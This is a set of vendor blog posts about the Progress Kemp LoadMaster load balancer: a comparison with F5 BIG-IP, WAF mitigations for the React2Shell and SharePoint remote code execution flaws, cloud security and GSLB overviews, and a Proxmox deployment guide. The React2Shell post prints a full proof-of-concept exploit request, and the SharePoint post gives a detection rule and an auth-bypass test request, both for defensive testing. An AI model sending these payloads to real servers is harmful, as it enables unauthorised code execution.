But the market has changed and so have the needs of modern IT organizations. At the same time that F5’s legacy hardware platforms such as the BIG-IP iSeries are approaching end of software support (i.e., no new maintenance releases, patches or development after January 1, 2027) many organizations are re-evaluating whether continuing with that platform makes sense especially when there are alternatives such as Progress Kemp LoadMaster load balancer that deliver strong performance, simplicity and a lower total cost of ownership.

In this post, we’ll explore usability, total cost, security, support and real-world customer experience.

The F5 BIG-IP Support is Ending Sooner Than You Think

F5 has announced that, effective January 1, 2027, its BIG-IP iSeries appliances will reach end of software support. That means:

• No new maintenance releases
• No new hotfixes
• No continued software development

While hardware may still operate after that date, the devices will no longer receive ongoing updates, security patches or vulnerability mitigations.

For customers with iSeries deployments, this creates a date-certain obligation: you must replace that infrastructure long before 2027. After all, running critical infrastructure without regular security updates is a risk most organizations cannot afford.

Transitioning from a legacy platform at the last minute often costs organizations more in emergency upgrades, rushed planning and operational headaches. Now is the ideal time to evaluate modern alternatives.

Why the LoadMaster Solution Is Worth Considering

While BIG-IP will remain a capable and feature-rich platform for many organizations, the  LoadMaster provides specific advantages that make it compelling for both existing F5 customers and those evaluating load balancers for the first time.

Below, we break down the seven primary reasons customers are choosing LoadMaster load balancing.

1. Lower Total Cost of Ownership (TCO)

One of the biggest differentiators between LoadMaster and F5 BIG-IP is cost.

• F5 BIG-IP has a premium price point that includes complex licensing tiers and higher per-unit costs.
• LoadMaster offers a more cost-effective pricing model with predictable licensing that suits a wide range of businesses, from mid-size to enterprise.

With many organizations looking to stretch IT budgets further, LoadMaster pricing model allows customers to invest in the exact capabilities they need and to scale without paying for unused modules or features.

Lower cost doesn’t just mean lower license fees; it affects the entire lifecycle:

• Lower training costs because fewer specialists are needed
• Faster deployment and onboarding
• Simplified support billing
• Predictable renewals

For many organizations, the result is a significantly lower TCO.

2. Ease of Deployment and Use

The LoadMaster load balancer is built around a core principle: simplicity with power.

Reviewers consistently note:

• Fast, intuitive setup
• A user-friendly web interface
• Clear visibility into traffic and configuration settings

Compared to F5’s BIG-IP where the learning curve can be steep, especially for smaller teams the LoadMaster solution is easier to deploy and manage.

For example, setting up a LoadMaster instance can take hours instead of days and managing policies, traffic distribution and monitoring is much more approachable for teams without deep F5 expertise.

This matters because easier tools reduce operational friction, allowing teams to focus on business results rather than wrestling with product intricacies.

3. Simplicity Without Sacrificing Capability

Some alternatives in the ADC space trade simplicity for limited functionality; LoadMaster does not.

Out of the box, the LoadMaster solution includes multiple capabilities such as:

• Load balancing (layer 4–7)
• SSL/TLS offloading
• Rule-Based Content Switching
• Header Modification
• URL Rewriting
• Rate Limiting
• Web application firewall (WAF)
• Pre-Authentication/SSO
• Global Server Load Balancing (GSLB)
• Templates for common applications

Because these capabilities are integrated and don’t require complex modules or scripting, organizations can adopt them without months of specialized training.

4. Operational Efficiency and Productivity

Operational complexity drives up costs. Many organizations running F5 BIG-IP find that:

• Management requires dedicated engineers
• Configuration changes are slow
• Maintenance cycles take longer than expected

By contrast, the streamlined LoadMaster interface and predictable configuration model improve operational efficiency. Teams spend less time on routine tasks and more time on strategic initiatives.

According to peer-based reviews, many teams find LoadMaster easier to automate and integrate into DevOps toolchains through REST APIs or scripts—helping to support modern workflows.

5. Support That Helps You Get Ahead — Not Wait in Line

Support experiences matter. In front-line IT operations, being able to resolve issues quickly can make or break uptime objectives.

The LoadMaster team is known for its direct support —rated higher than alternatives in customer feedback.

Many customers who migrated from F5 claim:

• Faster response times
• More personalized support
• Less hand-off between tiers or escalation queues

In an emergency situation, such as degraded application performance or security patching, knowledgeable and responsive support can significantly reduce downtime.

6. Flexible Deployment Across Environments

The LoadMaster solution supports a wide range of deployment models:

• Hardware appliances
• Virtual machines (VMware, Hyper-V, KVM, Nutanix)
• Cloud instances (AWS, Azure, GCP)
• Hybrid and Kubernetes environments

This flexibility allows organizations to standardize load balancing across on-premises and cloud infrastructures, reducing operational fragmentation and simplifying management.

By contrast, migrating legacy BIG-IP appliances into cloud environments can be costly and cumbersome — especially as workloads shift to hybrid or cloud-native models.

7. Scalability Without Complexity

The LoadMaster load balancer scales elegantly across a range of workloads. Whether balancing a handful of web servers or managing traffic for a complex microservices architecture, the LoadMaster licensing and performance profile can be tailored without unnecessary overhead.

While BIG-IP scales well in large enterprise contexts, that scalability is intertwined with complexity, optional modules and higher licensing costs — making it less economical for many organizations.

LoadMaster provides scaling options that grow with you — from mid-market to enterprise-level workloads.

Addressing Common Concerns

“Isn’t F5 More Feature-Rich?”

Sure, there are some F5 capabilities not found in other ADCs especially for extremely large, complex global deployments and niche use cases, F5’s broad set of modules and ecosystem capabilities may offer advantages. For some large enterprises, especially those with highly customized routing requirements, the breadth of F5 features can matter.

However, feature richness isn’t always the same as value delivered. Many organizations realize that they don’t use most of those advanced features. Yet still pay for them.

The LoadMaster solution provides a focused feature set aligned with real-world requirements with more than enough functionality for most deployments without unnecessary overhead.

“Can LoadMaster Handle Large Deployments?”

Yes. LoadMaster scales across a wide range of environments. While unique use cases may still lean toward more complex appliances in some scenarios, LoadMaster performance and licensing models have been proven in production across thousands of customers around the world.

Critical applications, high-throughput requirements, and secure traffic management scenarios are well within LoadMaster capabilities at a fraction of the cost of traditional alternatives.

“Is Migration from F5 Difficult?”

Migration often seems daunting, especially for infrastructure as central as load balancers.

But because LoadMaster’s architecture is simpler and templates are available for common applications, migration can be less disruptive than expected. Organizations can:

• Run LoadMaster in parallel with existing BIG-IP systems
• Gradually transition workloads to minimize risk

Professional services teams from Progress assist with iRules migration and automation translation, allowing existing configuration logic to be carried over.

Conclusion

The LoadMaster solution isn’t just “another load balancer.” It’s a modern, flexible and cost-effective solution that aligns with the real needs of today’s IT organizations without over-complexity or premium pricing.

As F5 continues its transition away from legacy hardware platforms like the BIG-IP iSeries, organizations face crucial decisions about where to invest in their infrastructure. LoadMaster provides a compelling alternative:

• Lower total cost
• Simplified deployment and management
• Strong customer support
• Flexible licensing and deployment models
• Scalability for diverse application landscapes

Whether you’re planning ahead of the BIG-IP support cutoff or reevaluating your application delivery strategy, the LoadMaster solution deserves serious consideration.

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Watch our Webinar on the End of the F5 iSeries

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If you're curious to know more about LoadMaster reverse proxy and global server load balancing capabilities, let's discuss how the LoadMaster solution can help you.

React2Shell is a newly discovered security vulnerability. It affects server-side use of React, a popular JavaScript library that’s widely used by web applications. Its assigned CVE ID is CVE-2025-55182 (some vendors are also referring to it as CVE-2025-66478 which is specific to the Next.js framework).

In brief, the vulnerability allows an unauthenticated user to execute arbitrary code on an affected server. This is considered a critical vulnerability and has received the highest possible score on the Common Vulnerability Scoring System (CVSS) of 10.0.

Further details of the vulnerability have been published by the security researcher who discovered it and can be found at https://react2shell.com/.

Urgently Fix Where Possible

All servers and applications using React or Next.js should be updated without delay to fully patch this critical security vulnerability. Details about package version numbers and update instructions can be found on this official blog post from the React team.

For web applications where it is unclear whether React is in use: contact the vendor for clarification and any required remediation steps.

If it is not possible to perform the full update fix (for whatever reason, temporarily or otherwise) a WAF (web application firewall) should be placed in-line to improve protection if a WAF is not already present. Defending with a WAF must not be considered as complete or fool-proof protection from the vulnerability; the only known complete protection is to apply the full update fix, as outlined above.

However, based on the currently available information and reports from the community, the widely used OWASP CRS WAF ruleset can detect and block exploit attempts and published proof of concept code (POCs).

What Does the Attack Look Like?

The attack takes the form of an HTTP request of content type ‘multipart/form-data’. In the body of such a request, each individual part of the “multipart” request contains data for the React server to process.

Due to the vulnerability, it’s possible for an unauthenticated user to craft and submit a special request that will cause the server to execute arbitrary code.

As the attack payload lives in the body of an HTTP request, for a WAF to be able to detect and block such an attack it must be configured to inspect HTTP request bodies.

Blocking the Exploit with LoadMaster WAF

From testing the currently available attack POCs, the WAF built into the Progress Kemp LoadMaster solution can detect and block exploit attempts. However, it requires the WAF to be configured correctly first, as described below.

1: Confirm that Request Body Inspection is Enabled

Because the attack takes place in the body of an HTTP request, it is essential that the WAF be configured to inspect request bodies.

To do this with the LoadMaster solution:

1. Click on Modify for the virtual service in question (i.e. the relevant service with the WAF)
2. Expand the WAF tab and then click on the Advanced Settings button
3. Confirm that the checkbox Inspect HTTP POST Request Bodies is enabled

2: Confirm that ‘Paranoia Level 2’ is Enabled

The WAF on LoadMaster uses the industry-standard OWASP CRS set of security rules. These rules are broken up into four “paranoia levels” (“PLs”) of increasing aggressiveness and difficulty of use (owing to the more aggressive rules):

From testing the currently available proof of concept attacks, React2Shell attacks begin to be detected at paranoia level 2. This level (referred to as “PL 2”) is a good middle-ground for the majority of web applications.

To set a WAF to operate at paranoia level 2 on LoadMaster:

1. Click on Modify for the virtual service in question (i.e. the relevant service with the WAF).
2. Expand the WAF tab and then click on the Advanced Settings button.
3. Confirm that Blocking Paranoia Level is set to 2.

Note that going beyond PL 2 is generally not advised due to an exponential increase in false positives, and hence much greater difficulty of real-world use.

How to Test

The following curl call can be used to send one of the currently published proof of concept attacks to a LoadMaster WAF-enabled virtual service:

$ curl -v 192.168.2.150   -H "Host: example.com"   --form-string 
'0="$1"'   --form-string '1={"status":"resolved_model", "reason":0, 
"_response":"$5", 
"value":{\"_preload1\":\"$9\",\"_preload2\":\"$c\",\"_preload3\":\"
$e\",\"_preload4\":\"$f\",\"then\":\"$b:map\",\"0\":\"$a\",\"length\
":1}", "then":"$2:then"}'   --form-string '2="$@3"'   --form-string 
'3=""'   --form-string '5={"_prefix":"$2:_response:_prefix", 
"_formData":"$2:_response:_formData", 
"_chunks":"$2:_response:_chunks", 
"_bundlerConfig":{"bar":{"id":"module","name":"*","chunks":[]}}}'   
--form-string '6={"id":"bar"}'   --form-string '7="$F6"'   --form-string '8={"set": "$6:constructor:setPrototypeOf"}'   --form-string 
'9={"_prefix":"$2:_response:_prefix", 
"_formData":"$2:_response:_formData", 
"_chunks":"$2:_response:_chunks", 
"_bundlerConfig":{"bar":{"id":"module","name":"*","chunks":[]}},"_temporaryReferences": "$8"}'   --form-string 
'4={"status":"resolved_model", "reason":{"0":"$7:wrapper", 
"length":1, "toString": "$b:pop"}, "_response":"$9", 
"value":"{\"then\":\"$b:map\",\"0\":\"$d\",\"toString\":\"$b:push\"}
", "then":"$2:then"}'   --form-string '10="$@4"'   --form-string 
'11=[]'   --form-string '12={"status":"resolved_model", 
"reason":{"0":"$7:Module:prototype", "length":1, "toString": 
"$b:pop"}, "_response": "$9", "value": "{\"set\":\"$7:Module:prototype:_compile\",\"then\":\"$b:map\",\"0\"
:\"$11\",\"length\":1}", "then":"$2:then"}'   --form-string 
'13="$@c"'   --form-string '14={"_prefix":"$2:_response:_prefix", "_formData":"$2:_response:_formData", 
"_chunks":"$2:_response:_chunks"}'   --form-string 
'15={"status":"resolved_model", "reason":"junk", "_response": "$e", 
"value":"{\"_preload1\":\"$10\",\"0\":\"$13\",\"length\":1,\"then\":
\"$b:map\"}", "then":"$2:then"}'   --form-string 
'16={"_prefix":"$2:_response:_prefix", "_formData":"$2:_response:_formData", "_chunks":"$2:_response:_chunks", "_temporaryReferences": "$c:value"}'   --form-string '17="$@f"'   --form-string 
'18={"status":"resolved_model", "reason":["$4:value"], "_response": 
"$10", "value":"[\"console.log(7*7)\"]", "then":"$2:then"}'   --
form-string '19="$@12"'

2025-12-09T18:32:12+00:00 lb100 wafd: [client 192.168.2.1] 
ModSecurity: Access denied with code 403 (phase 2). Operator 
GE matched 5 at TX:anomaly_score. [file "/tmp/waf/1/REQUEST-
949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg 
"Inbound Anomaly Score Exceeded (Total Score: 286)"] [severity 
"CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] 
[tag "language-multi"] [tag "platform-multi"] [tag "attack-
generic"] [hostname "192.168.2.150"] [uri "/"] [unique_id 
"e10187e0-a977-4473-8fd8-0a0d05b906f4"]

In this blog, we will look at how hackers attack and how to mitigate these attacks and preserve the security and availability of applications in the cloud. Maintaining secure applications and high availability requires layered security. In this blog, we will focus our attention on layered security as it relates to cloud applications, and how layered security can help with prevention and mitigation of cyberthreats. 

 Here is a preview of the topics discussed in this article:  

• Why layered application protection is needed 
• How to deploy layered security for cloud applications and deployment best practices 
• How layered security defends against attacks and emerging cyberthreats  

Denial of Service Attacks: What are they and how do I protect my web applications from them? 

First, let’s kick this off by looking at the all-to-common denial of service attacks. Denial of service attacks are generally malicious or vindictive. They seldom actually attempt to break into your network, but instead swamp your website with traffic, impacting normal service.  

Denial of service attacks can result in serious financial costs from lost business transactions. Reputational costs will also cause a disruption to normal service and impact day-to-day business. 

Attacks can be based around network layer protocols and use well-known attack techniques, such as UDP reflection and sending floods. Other attacks can be focused on the application layer — usually the HTTP protocol, where the web server is swamped with requests.   

The first line of protection against denial-of-service attacks is your cloud service provider. All cloud service providers have protections in place to mitigate against large-scale attacks, also known as distributed denial of service attacks, or DDoS.  

The DDoS protection layer from your cloud service provider will work well against attacks that happen at the network layer. However, if the attack is more targeted, yields lower traffic volumes and operates at the application layer, the DDoS protection from your service provider may not detect the attack.  

A DDoS attack at the application layer attempts to overload the application servers with a request that may not be detectable by the network and the bandwidth-focused DDoS protection from your cloud service provider. Insert a load balancer, like the Progress Kemp LoadMaster load balancer, to provide an additional layer of protection to augment the cloud-native DDoS services.  

Adding DDoS Protection to Cloud Applications with LoadMaster 

Let’s look at adding DDoS protection with LoadMaster. The first layer of protection against DDoS attacks is to block traffic from known malicious sources based on their IP address. LoadMaster maintains a list of malicious IP addresses that is updated regularly and will drop connection requests from these IP addresses before they reach the application servers.  

As newly compromised endpoints are constantly appearing, this list will not catch all traffic, but can be amended by administrators to further reduce malicious traffic. LoadMaster can also block all known IP addresses from specific countries, further minimizing the attack risk. The IP reputation controls, which is what we call IP blocking, can be applied to LoadMaster’s global server load balancing feature, or GSLB, where DNS requests from malicious/bad actors are ignored.  

To further reduce the potential impact of denial-of-service attacks, LoadMaster can apply rate limits to traffic, preventing bad actors from swamping the application servers. Rate-limiting can be applied on the absolute bandwidth amount, the number of connections per second, the number of open connections at any one time, or the number of requests per second. Rate limiting can be applied selectively or across all services, and to all sources based on expected normal traffic patterns. It can also be tailored to specific sources based on IP or network address.  

Rate limiting and IP reputation controls may be updated in real-time, providing a means to quickly shut down an in-progress attack, leading to quicker restoration of normal service levels to the business. So, with IP reputation and rate limiting, we can enhance the cloud platform’s DDoS protection to further reduce the volume of malicious traffic getting through to application servers.  

Vulnerability Exploits: Protecting Against OWASP Top 10 and Emerging Attacks 

Let’s look at vulnerability exploits, where hackers exploit common weaknesses and web application to gain access to systems. New exploits against web applications are constantly emerging, whether against the tool sets or libraries used to build the applications, or against inherent weaknesses in how the application was developed or how it was deployed. As proven by industry research, not only do many applications have these vulnerabilities, but the detection and fixing of these problems is also a major challenge.  

Many of these attacks are bot-based and focus on well-known vulnerabilities, which are monitoring and classified by the non-profit organization OWASP, or the Open Web Application Security Project. The independent industry-supported group focused on application security produces an annual list of the top 10 exploits; a list referred to as the OWASP Top 10.  

The vulnerabilities being exploited change over the years, but some have remained constant in the OWASP Top 10 list for years. Issues such as injection or data components and server-side forgery are perennials on the list.  

So, what can you do to protect your applications from common vulnerabilities and new exploits? The load balancer web application firewall, or WAF, provides protection against known and emerging web attacks. The LoadMaster WAF applies a set of rules that not only include defense against the OWASP Top 10, but also many other vulnerabilities.  

While the base set of rules offers comprehensive protection, they may require some fine-tuning to remove false positives. Administrators can also create custom rule sets to address application- or business-specific requirements. LoadMaster WAF is totally integrated on the load balancing appliance and supports things like per application WAF configuration.  

Hacking Credentials: How Hackers Use Bots to Exploit Weaknesses 

Now, let’s explore how hackers use bots to exploit weaknesses around user credentials. A brute-force attack is a crude approach to trying to gain access. Generally, the bot will use a common username such as “admin” or accounts to make multiple login attempts using passwords from a dictionary of commonly used passwords. These types of attacks are not successful, generally, but can impact performance if generating a lot of login requests.  

Credential stuffing is another attack approach, and one that is generally more successful. The vulnerability stems from the fact that people will often register on third-party websites with their carpet email address and reuse their carpet password. If this third-party site gets compromised and the username and password list is stolen, hackers will then attempt to log in with these compromised credentials. These login attempts are highly automated, with successful logins being retained and then reused in focused hacking attempts against the business.  

LoadMaster authentication protects credentials with a client authentication service that integrates at the back end with all major identify providers, such as active directory, RADIUS LDAP, also including cloud-based services such as Azure Active Directory. Before access is granted to any load-balanced resource, clients must successfully authenticate with the LoadMaster and optionally be authorized by a method such as group membership or a LoadMaster zero trust network access policy.  

If load-balanced applications are also integrated with the identity provider, LoadMaster can perform single sign-on, reducing the number of logins a user must perform. Even if the application has no concept of authentication or users, you can use pre-authentication to control access to that app, although it knows nothing about users or authentication.  

One of the simplest ways to stop a bot-based credential attack is use of CAPTCHA. LoadMaster supports the creation of custom login screens with embedded CAPTCHA challenges to create the first hurdle for any bot-based credential attack.  

Some of the more advanced CAPTCHA services, such as reCAPTCHA from Google, have a high rate of bot detection and will use previous browsing history — even metrics such as mouse movements — to decide whether it serves a simple “I’m not a robot” tick box or a more complex challenge.  

Using advanced CAPTCHA services will offer protection against brute-force and credential stuffing attacks. As an aside, many organizations have policies and rule sets to not use email addresses as usernames for corporate applications, specifically to prevent opportunity for credential stuffing attacks.  

Two-Factor Authentication and its Role in Attack Prevention 

Implementing a form of two-factor authentication, whether using a one-time password token or SMS, is also effective in preventing attacks. You could consider using a two-step verification service, such as Microsoft Authenticator, to add this additional layer of security.  

Using two-factor authentication is effective against bots, as bots simply cannot satisfy the secondary challenge. LoadMaster has native support for all major two-factor authentication providers, making integration very, very simple. You can also further lock down access by enforcing the use of client certificates on client devices.  

Zero Trust: Application Access that Implicitly ‘Trusts Nobody’ 

Zero Trust Network Access, or ZTNA, is an approach to application and resource access that trusts no client entity and only grants access when explicitly defined by policies. Zero Trust takes a “trust nobody” stance and only grants access after the client has successfully authenticated.  

Zero Trust first considers the identity of the client and the context of the access request, such as what device or network a user is coming from. Is the request from a corporate-managed device? Are they working from home? All these elements are brought into the fold.  

Once authenticated, clients are then authorized based on the policy with just enough access to allow them to connect to the resources. LoadMaster can act as a Zero Trust Network Access gateway with easy definition of policies via an API, simplifying the integration with other security and policy tool sets.  

Case and Point: Load Balancing is a Critical Network Security Layer

LoadMaster can and will add significantly to your cloud security as an integrated load balancer security enforcement point. LoadMaster augments your cloud platform security services to deliver a multi-layered approach to application security and availability.  

LoadMaster is available on all major cloud platforms, and as a virtual appliance — should you want an on-premises deployment. Depending on the cloud platform, you can up for an early pay-as-you-go subscription, an annual subscription, or a perpetual license.  

Take the first step and talk with a technical expert to learn how to secure your applications with layered security using the top-rated load balancing appliance on the market.  

You can watch a recording of the webinar via this page on the LoadMaster website. The webinar provides an overview of GSLB and explains how it can enhance your application delivery and disaster recovery planning. Using GSLB as part of your disaster recovery strategy will help protect your organization from potential downtime and provide a better user experience.

You can also learn more on our GSLB page or via our GEO – GSLB for Availability, Scalability and Reliability datasheet. Read on for a high-level summary of the main points from the webinar.

Core Points from the Session

Our presenters discussed topics such as:

• GSLB enhances disaster recovery by optimizing traffic across multiple data centers, maintaining high availability and business continuity.

• Key benefits of GSLB include improved performance, scalability, resilience during disasters and support for alignment with local data access requirements.

• GSLB operates by using advanced health checks and routing traffic to the nearest operational resources, minimizing downtime.

• Various deployment methods for GSLB exist that use location-based routing algorithms, allowing different choices that cater to different organizational needs.

• LoadMaster 360, in addition to Kemp GEO GSLB, provides a unified application delivery platform that enables in-depth monitoring, management and troubleshooting of application delivery infrastructure.

What is GSLB

GSLB is a vital component for enhancing disaster recovery strategies. It facilitates resilient network traffic management across geographically distributed data centers, helping deliver high availability and business continuity. GSLB enables the maintenance of uninterrupted application and IT service delivery during outages or failures that impact local data centers, cloud services or whole geographic regions.

Benefits of GSLB

The webinar outlined the benefits that flow from deploying LoadMaster GSLB. They include improved performance through site traffic monitoring, scalability for expanding operations, resilience against disasters via automatic traffic redirection and help maintain compliance with regional data access regulations. The concept of business continuity is central to GSLB’s functionality, as it helps prevent service interruptions that can impact service availability, sales and productivity.

How GSLB Works - Technical Overview

The webinar also provides a technical overview of how GSLB works, using DNS redirection and various deployment models. These are summarized below (the webinar goes into more detail and has examples):

Active-Active Deployment - Multiple resources are operational simultaneously across different geographical locations. All locations deliver services in this model when they are available. This deployment model can be on-premises, cloud-based or a hybrid mixture.

Active-Passive Deployment - Involves designating one data center as the primary (active) and the other as the secondary (passive). In this scenario, all traffic is directed to the primary site. If the primary site becomes unresponsive, GSLB automatically redirects requests to the passive site.

Location-Based Routing - Directs traffic based on geographical proximity. If a site goes down, GSLB reroutes traffic to the closest operational site to minimize disruption.

Proximity Routing - Proximity routing considers a client’s location based on longitude and latitude, directing them to the nearest data center regardless of predetermined site preference settings.

Adaptive Routing - Dynamically adjusts where sessions are allocated based on real-time traffic demands. During periods of high traffic, such as sales events or product launches, GSLB intelligently redistributes the load between the primary and disaster recovery sites. So that no single site becomes overwhelmed, to help maintain performance and availability.

Implementation Best Practices

The webinar highlights best practices for implementing LoadMaster GSLB:

High Availability - Deploy GSLB across multiple sites to help prevent a single point of failure. Having redundant GSLB instances verifies service continuity.

Regular Health Checks - Establish routine health checks for all backend servers to confirm they are functioning as expected. This proactive approach helps to identify issues before they impact users.

Customized Locations - Utilize custom locations for internal traffic routing. This is especially useful for organizations with private networks, allowing for effective management of local traffic.

Robust Monitoring - Leverage monitoring tools like LoadMaster 360 to gain insights into application performance, server health and user behavior. This data is invaluable for optimizing your GSLB strategy.

Documentation and Training - Provide your IT team with GSLB management training and make comprehensive documentation available on demand. This will facilitate smoother operations and quicker issue resolution.

Monitoring with LoadMaster 360

The webinar briefly discusses LoadMaster 360. This is our unified application delivery platform, which provides an in-depth view of application delivery performance, enabling easier management and troubleshooting of deployments. It offers essential metrics on resource utilization and application performance, which enables proactive management of potential issues.

You can watch the webinar on demand on the LoadMaster website for a detailed explanation of LoadMaster GSLB, best practices and its benefits.

On July 19, 2025, Microsoft published a customer advisory about a newly discovered vulnerability in their SharePoint application. On a vulnerable, unpatched version of SharePoint, an attacker can execute arbitrary code on the server: a major security concern.

The waves caused by this vulnerability continue to be felt and it continues to be actively exploited online. SharePoint administrators should update as soon as possible, if they haven’t already done so, to patch this serious security problem.

Administrators who are unable to update are left in a precarious situation. A stopgap solution is to apply a virtual patch to protect against this problem. This is a temporary defensive layer to block exploit attempts without changing the affected software. This is ideal if fully patching SharePoint itself isn’t immediately possible or practical. To be clear: the full, correct and permanent solution is to update SharePoint when and where it is possible to do so.

Blocking the Exploit

The full remote code execution vulnerability relies on first exploiting another, related vulnerability (CVE-2025-53771). By sending a specially crafted HTTP request to a specific legacy SharePoint endpoint, it is possible to bypass SharePoint’s authentication checks and immediately gain authenticated access. It’s then possible to proceed with the remote code execution attack (CVE-2025-53770).

Progress Kemp LoadMaster Web Application Firewall (WAF) functionality is well-suited to detect the specially crafted authentication exploit attempt. When the WAF detects the malicious combination in a web request, it can be detected and blocked, helping to mitigate bogus authentication and reduce the risk of remote code execution.

Virtual Patching with LoadMaster WAF

The virtual patch below helps block known attempts to exploit the SharePoint vulnerability, based on the best information currently available:

# vim: set et sw=4 ts=4 tw=80 colorcolumn=81:
# # colorcolumn=81:

#
# -- Virtual patch for SharePoint vulnerabilities CVE-2025-53770/CVE-2025-53771
#
# Remote code execution exploit leverages an authentication exploit. Detect and
# block requests to the vulnerable legacy endpoint if the request also contains
# the Referer header value required for the authentication exploit.
#
# Case-insensitive regular expression patterns to catch any possible case-based
# evasions.
# Best efforts transformation pipeline to catch possible evasions discovered in
# the future (re-run the regexes after each stage of decoding with multiMatch.)
#
# References:
#   https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/
#   https://blog.cloudflare.com/cloudflare-protects-against-critical-sharepoint-vulnerability-cve-2025-53770/
#
SecRule REQUEST_URI "@rx (?i)layouts/15/ToolPane.aspx" \
    "id:1000,\
    phase:1,\
    deny,\
    t:none,t:utf8toUnicode,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDecode,t:removeNulls,t:removeWhitespace,t:normalisePath,\
    log,\
    msg:'Exploit attempt of SharePoint vulnerability CVE-2025-53770/CVE-2025-53771.',\
    multiMatch,\
    chain"
    SecRule REQUEST_HEADERS:Referer "@rx (?i)layouts/SignOut.aspx" \
        "t:none,t:utf8toUnicode,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDecode,t:removeNulls,t:removeWhitespace,t:normalisePath,\
        multiMatch"

Copy and paste the patch into your text editor of choice and save a copy locally:

On the web UI of your LoadMaster solution, navigate to Web Application Firewall > Custom Rules. In the WAF Custom Rules section, click ‘Browse’, find and upload your virtual patch file and click Add Ruleset:

Under Virtual Services > View/Modify Services, click ‘Modify’ on your SharePoint virtual service:

Expand the ‘WAF’ tab. Under Custom Rules, check the box next to the virtual patch file to enable it. Then click ‘Apply’ to put the virtual patch into effect (note: this may cause a momentary blip in active network connections to this virtual service while the WAF daemon restarts):

If you have never used the WAF functionality on your SharePoint virtual service before, you will need to tune the OWASP CRS WAF rules to work correctly for your deployment.

To skip the WAF rule tuning step and simply use the virtual patch on its own:

First, check the ‘Run First’ box next to the virtual patch to allow it to execute independently. Then, uncheck all the other WAF rule categories and click ‘Apply’:

How to Test

Use a curl call like the following to confirm the virtual patch is working:

$ curl -v "http://192.168.2.30/_layouts/15/ToolPane.aspx" --header "Referer: http://192.168.2.30/_layouts/SignOut.aspx"

A successful block will see an immediate 403 Forbidden response returned by the LoadMaster WAF:

There are publicly available exploit tools, testers and proofs of concept that are more sophisticated than the simple curl call above. These can also test SharePoint deployments for the presence of this vulnerability.

Use caution when executing third-party exploit testing tools or scripts and never run them against infrastructure you don’t own.

LoadMaster WAF with Enterprise Plus: Enhanced Security Capabilities for Your Web Apps

Please contact LoadMaster support if you have any questions or concerns about this SharePoint vulnerability or how to patch it virtually.

Want to use LoadMaster WAF functionality but don’t have the Enterprise Plus licence tier? Please reach out to your sales representative, who will be happy to discuss this.

Do you have other software you’d like to apply virtual patches to? Own legacy software that’s end of life and can never be officially patched? Need an interim virtual patch for a vulnerability until your next maintenance window? The LoadMaster WAF is a flexible platform well-suited to support this—on hardware, virtual and in the cloud. Talk to an experienced LoadMaster representative today about your WAF and security needs

Proxmox is a server virtualization and management platform designed for running and managing virtualized IT infrastructures. The Proxmox Virtual Environment (Proxmox VE) offers full virtualization with KVM (Kernel-Based Virtual Machine) integration and container virtualization.

The Proxmox VE storage model is very flexible and supports various storage types, each with its own capabilities and supported disk image formats. In this blog post, we walk you through different deployment options for Progress Kemp LoadMaster load balancers on Proxmox VE.

Before we dive in, understanding the different types of storage and their supported disk formats is crucial to deciding the best approach to deploying LoadMaster load balancers. There are basically two different types of storage:

• File-level storage: Uses a full-featured file system, making it very flexible. You can save any type of content on it.
• Block-level storage: Used mainly to store large raw disk images. You usually can’t store other files like ISOs or backups here. Most modern block-level storage can also support snapshots and clones.

LoadMaster Deployment Using the Open Virtualization Format (OVF) and Virtual Machine Disk (VMDK)

In the first deployment scenario, we will use a LoadMaster VMware image for deployment. Follow the steps below once you have the image downloaded.

1. Connect to Proxmox via SSH or console.

2. Create a new directory in one of the Proxmox File Storage types that is compatible with backup, ISO image, etc., for example, the default “local” storage. If the “local” storage is chosen to be used, the new directory must be created on the default path /var/lib/vz, for example, “upload.”

3. Connect to the Proxmox server/cluster using any SCP or SFTP tool, such as WinSCP. Now, from the extracted VMware LoadMaster image, upload the .ovf and .vmdk into the directory created in the previous step.

4. Return to the Proxmox SSH session or Web Console. Navigate to the directory created in the second step.

5. The disk must be imported into a storage type that supports VM images, such as “local-lvm”. In this case, the “local-lvm” storage only supports the “raw” format for the VM disk, and as such, the OVF/VMDK must be converted to the raw format.

The generic CLI command is:

qm importovf vmid source_ovf_file_name TargetStorage --format raw

Real example:

qm importovf 401 LoadMaster-VLM-7.2.62.ovf locallvm --format raw

This command will convert the OVF and VMDK image to a raw format and import it to its destination. This will also create the VM based on the information in the OFV file.

6. Before powering up the LoadMaster for the first time, confirm if the following configurations are applied. Navigate to the Proxmox WUI and click on the newly created, as per the real example above, “VM ID:401” to open its properties.

7. Navigate to the Hardware tab to make the following changes: Add Network devices (vNIC) and configure them accordingly to the network requirements. By default, the LoadMaster image is deployed with 2 vNICs. So, I added 2 vNICs, but it is not a requirement. It is important to choose the device model/driver. I have chosen the “VirtIO (paravirtualized)” as this gave the best network performance for the LoadMaster VM. The SCSI Controller also must be changed from the default “LSI 53C895A” to “VirtIO SCSI single”.

8. The LoadMaster solution can be started and configured via the LoadMaster WUI.

LoadMaster Deployment Using an Open Virtualization Appliance (OVA) File

Proxmox VE offers an integrated VM import wizard that simplifies migrating virtual machines from VMware ESXi to Proxmox. This feature was introduced in Proxmox VE 8.2, streamlining the process, reducing downtime and potential errors associated with manual migration.

Note: The “Import” feature needs to be enabled in the storage so that it can be used. It is also only possible to enable this in a file-type storage.

Converting the OVF to OVA

The LoadMaster VMware image is composed of two files: the OVF and the VMDK. So, although we can upload the VMDK using this method, the VMDK on its own cannot be used to deploy the LoadMaster solution. As it’s impossible to import the OVF file using this method, the LoadMaster VMware image must first be converted to OVA format, which would combine both files (OVF+VMDK). For this, I used a VMware tool called ovftool from this website here.

After installing the “ovftool” application, the following command can be run for the application directory, in my case “C:\Program Files\VMware\VMware OVF Tool”.

ovftool.exe “path of the OVF source” "destination path to save the OVA file"

Real example:

ovftool.exe “C:\ LM_Images\LTSF - 7.2.54.14\LoadMaster-VLM-7.2.54.15.ovf”
" C:\LM_Images\LTSF - 7.2.54.14\LoadMaster-VLM-7.2.54.15image.ova"

Uploading the OVA file to Proxmox

1. Click the “Upload” button and find the OVA file location.

2. Click “Upload.”

3. Click on the uploaded OVA image so that it can be imported.

4. In the “Import” feature wizard, modify the “General” and “Advanced” parameters accordingly.

Below are the default parameters based on the Proxmox environment.

Below is an example of changes that suit this specific Proxmox environment.

